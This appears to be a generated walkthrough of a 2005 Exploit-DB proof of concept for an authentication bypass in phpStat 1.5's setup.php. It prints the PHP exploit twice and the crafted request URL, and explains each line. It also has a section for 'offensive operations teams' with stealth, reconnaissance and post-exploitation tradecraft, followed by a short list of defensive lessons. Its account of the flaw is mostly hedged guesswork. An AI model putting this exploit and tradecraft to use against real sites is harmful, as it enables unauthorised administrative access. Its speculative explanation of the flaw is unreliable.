Exploiting phpStat 1.5: A Bypass of Authentication in setup.php

What this paper is

This paper is a Proof of Concept (PoC) exploit for a vulnerability in phpStat version 1.5. The vulnerability allows an attacker to bypass the authentication mechanism in the setup.php script, potentially gaining unauthorized access to administrative functions.

Simple technical breakdown

The core of the vulnerability lies in how the setup.php script handles user input for authentication. Instead of properly validating credentials, it appears to be susceptible to a specific manipulation of the URL parameters. By crafting a URL with certain query parameters, an attacker can trick the script into believing they are authenticated, even without providing valid credentials.

Complete code and payload walkthrough

The provided code is a PHP script designed to demonstrate the authentication bypass. It's not a traditional exploit with shellcode, but rather a tool to trigger the vulnerability.

<?php
error_reporting(E_PARSE);
/*
================================================================
PHP Stat Administrative User Authentication Bypass POC Exploit
================================================================
====Trap-Set Underground Hacking Team===========mh_p0rtal============

Greetz to : Alpha_programmer , Oil_karchack , Str0ke   And Iranian Hacking & Security Teams :
Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam
, CrouZ Security Team , Simorgh-ev Security Team ,

====================^^^^^^^^^^^^^^^^^^^-=========================
*/
# Config ________________________________
# address - example: http://www.site.com/setup.php Or www.site.com /dir/setup.php

$url = "http://www.site.com/setup.php";

# EnD ___________________________________

print "<form action=\"$url?check=yes&username=$username&password=$password\" >";
print "<input type=\"hidden\" name=\"check\"  value=\"yes\">";
print "Username : <input type=\"text\" name=\"username\"  value=\"admin\" size=\"25\"><br>";
print "Password : <input type=\"text\" name=\"password\"  value=\"abc123\" size=\"25\"><br>";
print ("<input type=submit value=::Change. > \n");
print "</form>";

//------------------------------------------------------End.
?>

*   `$url`: The target script (`setup.php`).
*   `?check=yes`: This is the key parameter that likely triggers the bypass. The vulnerable script probably checks for `$_GET['check'] == 'yes'` (or similar) to proceed with authentication checks.
*   `&username=$username&password=$password`: These are intended to pass username and password. However, in this PoC, `$username` and `$password` are not defined within this script, meaning they will be empty strings when the form is initially displayed. When the form is submitted, these will be sent as empty values. The exploit relies on the fact that the `check=yes` parameter bypasses the need for valid credentials.

print "<input type=\"hidden\" name=\"check\" value=\"yes\">"; | This prints a hidden input field. While the action attribute already includes check=yes, having it as a hidden field ensures it's sent with the form submission regardless of user interaction.
print "Username : <input type=\"text\" name=\"username\" value=\"admin\" size=\"25\"><br>"; | Prints a label and a text input field for the username. The value="admin" pre-fills the field with "admin", a common default username.
print "Password : <input type=\"text\" name=\"password\" value=\"abc123\" size=\"25\"><br>"; | Prints a label and a text input field for the password. The value="abc123" pre-fills the field with "abc123", a common weak password.
print ("<input type=submit value=::Change. > \n"); | Prints the submit button for the form. The text "::Change." suggests that after bypassing authentication, the user might be directed to a page where they can change settings.
//------------------------------------------------------End. ?> | Comment and closing PHP tag.

Payload Explanation:

There is no traditional shellcode or multi-stage payload in this exploit. The "payload" is the crafted URL and the form submission itself. The exploit works by sending a GET request (when the form is submitted) to the target URL with the following structure:

http://www.site.com/setup.php?check=yes&username=&password=

The vulnerability lies in the setup.php script's logic, which, when check=yes is present, fails to properly validate the username and password parameters, allowing access. The PoC script simply automates the creation of this form to make it easy for an attacker to trigger the bypass.

Practical details for offensive operations teams

• Required Access Level: Typically, an attacker would need to be able to send HTTP requests to the web server hosting the vulnerable phpStat application. This could be from an external network or an internal network if the application is hosted internally. No prior authentication or elevated privileges on the server are required for the initial bypass.
• Lab Preconditions:
  • A web server running PHP.
  • The vulnerable phpStat 1.5 application installed and accessible via HTTP.
  • The setup.php script must be present and accessible.
  • The web server must be configured to execute PHP files.
• Tooling Assumptions:
  • A web browser to access the PoC script and submit the form.
  • The PoC script itself (saved as a .php file and hosted on a web server that can execute PHP, or run locally if a local PHP interpreter is available).
  • Alternatively, a tool like curl or a web proxy (e.g., Burp Suite, OWASP ZAP) could be used to manually craft and send the HTTP request.
• Execution Pitfalls:
  • Incorrect URL: The $url variable in the PoC must be accurately set to the target setup.php script. Incorrect paths or domain names will lead to failure.
  • Application Logic Changes: If the target application has been patched or modified beyond version 1.5, this specific bypass might not work.
  • Web Application Firewalls (WAFs): Modern WAFs might detect the check=yes parameter as suspicious and block the request.
  • Server Configuration: Certain PHP configurations or web server security settings might interfere with the script's execution or the exploit's effectiveness.
  • Missing setup.php: If the setup.php file is not present or not accessible, the exploit will fail.
• Tradecraft Considerations:
  • Reconnaissance: Confirm the version of phpStat being used. This exploit is specific to version 1.5.
  • Targeting: Identify the exact URL of the setup.php script.
  • Stealth: While the bypass itself might not generate significant immediate alerts, the subsequent actions taken after bypassing authentication could be logged. Ensure subsequent actions are also stealthy.
  • Post-Exploitation: The immediate goal after bypass is likely to gain further access or modify settings. The PoC doesn't provide this functionality; it only opens the door.

Where this was used and when

This exploit was published in May 2005. At that time, phpStat was likely in use on websites that required basic statistics tracking. Exploits from this era were often shared on public forums and exploit databases, indicating it was likely used by security researchers and potentially malicious actors against unpatched web applications. The specific context of its use in the wild beyond its publication is not detailed in the paper.

Defensive lessons for modern teams

• Input Validation is Paramount: Never trust user input. All parameters, especially those related to authentication and authorization, must be rigorously validated. The presence of check=yes should not automatically grant access.
• Secure Authentication Flows: Implement robust authentication mechanisms that involve checking credentials against a secure store and ensuring session integrity. Relying on simple GET parameters for authentication is inherently insecure.
• Regular Patching and Updates: Keep all web applications and their components (like PHP itself) updated to the latest stable versions to mitigate known vulnerabilities.
• Web Application Firewalls (WAFs): Deploy and configure WAFs to detect and block common attack patterns, including suspicious URL parameters.
• Least Privilege: Ensure that administrative interfaces like setup.php are not accessible from the public internet unless absolutely necessary and are protected by strong authentication.
• Logging and Monitoring: Implement comprehensive logging of web server access and application events. Monitor these logs for suspicious activity, such as repeated attempts to access administrative scripts with unusual parameters.

ASCII visual (if applicable)

This exploit is primarily about manipulating HTTP requests and server-side logic. An ASCII diagram isn't strictly necessary for understanding the core bypass mechanism, as it's a direct parameter manipulation. However, a simplified flow could be visualized as:

+-----------------+      +-----------------------+      +---------------------+
| Attacker's Browser| ---> | PoC PHP Script (Form) | ---> | Target Web Server   |
+-----------------+      +-----------------------+      | (setup.php)         |
                                                        |                     |
                                                        | 1. Receives Request |
                                                        |    (e.g., GET /setup.php?check=yes)
                                                        |                     |
                                                        | 2. Vulnerable Logic |
                                                        |    (Bypasses Auth)  |
                                                        |                     |
                                                        | 3. Grants Access    |
                                                        +---------------------+

Source references

• PAPER ID: 1017
• PAPER TITLE: phpStat 1.5 - 'setup.php' Authentication Bypass (PHP) (1)
• AUTHOR: mh_p0rtal
• PUBLISHED: 2005-05-30
• PAPER URL: https://www.exploit-db.com/papers/1017

Original Exploit-DB Content (Verbatim)

<?php
error_reporting(E_PARSE);
/*
================================================================
PHP Stat Administrative User Authentication Bypass POC Exploit
================================================================
====Trap-Set Underground Hacking Team===========mh_p0rtal============

Greetz to : Alpha_programmer , Oil_karchack , Str0ke   And Iranian Hacking & Security Teams :
Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam
, CrouZ Security Team , Simorgh-ev Security Team ,

====================^^^^^^^^^^^^^^^^^^^-=========================
*/
# Config ________________________________
# address - example: http://www.site.com/setup.php Or www.site.com /dir/setup.php

$url = "http://www.site.com/setup.php";

# EnD ___________________________________

print "<form action=\"$url?check=yes&username=$username&password=$password\" >";
print "<input type=\"hidden\" name=\"check\"  value=\"yes\">";
print "Username : <input type=\"text\" name=\"username\"  value=\"admin\" size=\"25\"><br>";
print "Password : <input type=\"text\" name=\"password\"  value=\"abc123\" size=\"25\"><br>";
print ("<input type=submit value=::Change. > \n");
print "</form>";

//------------------------------------------------------End.
?>

# milw0rm.com [2005-05-30]